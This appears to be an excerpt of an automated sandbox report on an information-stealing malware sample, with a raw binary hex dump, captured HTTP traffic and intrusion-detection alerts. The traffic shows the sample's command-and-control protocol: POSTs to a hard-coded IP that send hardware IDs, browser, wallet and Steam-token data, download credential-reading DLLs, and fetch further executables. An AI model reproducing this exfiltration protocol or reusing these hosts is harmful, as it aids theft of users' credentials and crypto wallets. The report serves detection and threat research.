05 00 00 04 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 be 05 00 00 00 00 00 48 00 00 00 02 00 05 00 40 ab 05 00 20 12 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 db 1f 5b 28 3c d4 73 54 10 77 2f a8 15 ea 9c c3 cd 78 7e 49 a5 1e d7 0f f4 a7 54 1e ec 97 54 35 51 3e d1 7a b9 93 2a f6 a2 f1 a1 62 fc 53 d6 a3 2f 8b 8d 87 8b 32 45 99 77 cb 3e ae a1 2f 8a 64 97 aa 74 5f f0 73 bf b2 97 bd 8e cf 07 88 6f 3e bd e6 ab cd b7 13 b9 e4 eb fd e3 0a ae f5 f0 8f b2 55 56 93 53 f9 99 0d dd bc ef 61 35 eb e4 4a 4b bc b1 bf a2 59 85 77 2e 8e 08 af 13 7f 23 89 17 ab df b4 73 e5 a8 22 b3 f6 7f e6 84 2d 64 04 08 2d 37 8d 9d 61 76 bc f6 6e d7 92 5c d4 09 fb 07 5d a9 df 1e 1e 8d 2e 9b 0a 8f b6 ee c3 4c 1d 14 ea 74 c9 13 ee 3a 32 6f 31 19 21 ad 12 c2 86 c1 f4 2a af fc 71 39 5f 4f b0 fd 06 0b a1 91 4b b3 5e 8d e1 f4 13 22 d3 c8 c3 29 30 da fe 2e 33 b0 92 24 ed 35 89 2c b5 8a 7d cc ff eb e0 9a 33 63 78 f5 7a b3 b5 ab 09 12 32 49 7d c7 fc 17 8f e1 dd d8 98 49 01 65 0a c9 1d 24 f1 84 98 20 2e d2 a0 8f bd d3 56 20 c3 ef 4f 47 80 bb f7 55 61 1e 24 2b d9 0e ef 25 5c 00 42 2d 9a 55 8

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 34 31 42 38 34 44 35 44 45 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="hwid"B41B84D5DED63305298366------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="build"default------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"browsers------FBKJKEHIJECGCBFIJEGI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"plugins------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAKHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"fplugins------DGIJEGHDAECAKECAFCAK--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 46.8.231.109Content-Length: 5623Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKHost: 46.8.231.109Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 46.8.231.109Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="file"------FBKJKEHIJECGCBFIJEGI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="file"------DAAFBAKECAEGCBFIEGDG--
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 46.8.231.109Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="message"wallets------KEBGHCBAEGDHIDGCBAEC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: 46.8.231.109Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="message"files------BFIIEHJDBKJKECBFHDGH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDAHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="file"------BGHIDGCAFCBAAAAAFHDA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"ybncbhylepme------KJKJKFCBKKJDGDHIDBGI--
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 36 64 31 35 31 64 36 34 61 65 34 62 35 30 64 34 32 39 31 64 39 65 31 61 32 31 62 63 30 38 39 32 65 32 35 61 34 34 66 36 63 65 61 66 33 35 38 66 37 61 61 34 35 37 63 35 39 64 64 38 36 30 31 34 63 63 37 65 63 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"fa6d151d64ae4b50d4291d9e1a21bc0892e25a44f6ceaf358f7aa457c59dd86014cc7ec4------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHIIDAFIDGCFHJJDGDA--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 49.12.197.9 49.12.197.9

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49744 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49743 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49741 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49740 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49745 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49746 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49751 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49748 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49742 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49747 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49749 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49752 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49753 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49750 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49754 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49755 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49756 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49757 -> 49.12.197.9:443
